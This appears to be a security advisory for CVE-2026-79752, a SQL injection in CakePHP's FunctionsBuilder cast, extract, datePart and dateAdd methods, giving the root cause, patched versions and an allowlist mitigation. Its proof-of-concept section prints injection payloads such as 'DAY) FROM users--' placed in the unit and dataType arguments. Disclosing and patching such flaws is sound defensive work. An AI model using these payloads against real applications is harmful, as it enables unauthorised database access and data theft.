CVE-2026-79752: CakePHP FunctionsBuilder SQL Injection
Several CakePHP query-builder helper methods write user-supplied strings directly into SQL as unquoted structural keywords, letting an attacker inject arbitrary SQL through the dataType, part, or…
The problem
The FunctionsBuilder class in src/Database/FunctionsBuilder.php exposes four methods: cast($field, $dataType), extract($part, $expr), datePart($part, $expr), and dateAdd($expr, $value, $unit). Each accepts a plain PHP string that is interpolated verbatim into the generated SQL fragment as a keyword or type token.
Because these positions are not bound parameters, the ORM's prepared-statement layer never sees them. Any application that forwards request input to one of these arguments is fully exploitable with no authentication required.
Proof of concept
A working proof-of-concept for CVE-2026-79752 in cakephp/database, with the exact payload below.
<?php
// Attacker controls $unit via a request parameter, e.g. ?unit=DAY)+FROM+users--
// App code (vulnerable):
$unit = $request->getQuery('unit'); // e.g. "DAY) FROM users--"
$query->select([
'result' => $functionsBuilder->dateAdd(
'Articles.created',
1,
$unit // injected directly into SQL
)
]);
// Generated SQL (MySQL example):
// SELECT DATE_ADD(Articles.created, INTERVAL 1 DAY) FROM users-- ) ...
// Similarly via cast():
$dataType = "INT) FROM users WHERE 1=1--";
$query->select([
'val' => $functionsBuilder->cast('Articles.id', $dataType)
]);
// Generated SQL:
// SELECT CAST(Articles.id AS INT) FROM users WHERE 1=1-- ) ...The root cause (CWE-89) is that $dataType, $part, and $unit were string-concatenated directly into the SQL keyword/type position of the function call template, with no allowlist, regex guard, or escaping applied.
Because these are structural SQL positions (not value positions), prepared-statement parameter binding provides zero protection. The patch commits (3349584c, 3f4d13ea, and branch equivalents) introduced allowlist validation: each parameter is now checked against a fixed set of accepted keywords (e.g. YEAR, MONTH, DAY, HOUR, MINUTE, SECOND for date parts; standard SQL type names for cast).
Input that does not match throws an exception before any SQL is built.
The fix
Upgrade to CakePHP 4.5.12 (4.x), 4.6.5 (4.6.x), 5.1.9, 5.2.14, or 5.3.7. If you cannot upgrade immediately, never pass user-controlled data to the $dataType, $part, or $unit parameters of FunctionsBuilder::cast, ::extract, ::datePart, or ::dateAdd.
Validate against a hard-coded allowlist in your own code first.
Related research
- high · 8.8CVE-2026-55416CVE-2026-55416: Pimcore Custom Reports SQL Injection via Report Configuration Fields
- criticalCVE-2026-77635CVE-2026-77635: CakePHP FunctionsBuilder::jsonValue() SQL Injection via PostgreSQL Driver
- critical · 9.9CVE-2026-55634CVE-2026-55634: Pimcore DataObject Field Name Remote Code Execution and SQL Injection
- high · 7.7CVE-2026-55208CVE-2026-55208: Pimcore Studio Backend Bundle SQL Injection via DateFilter Column Key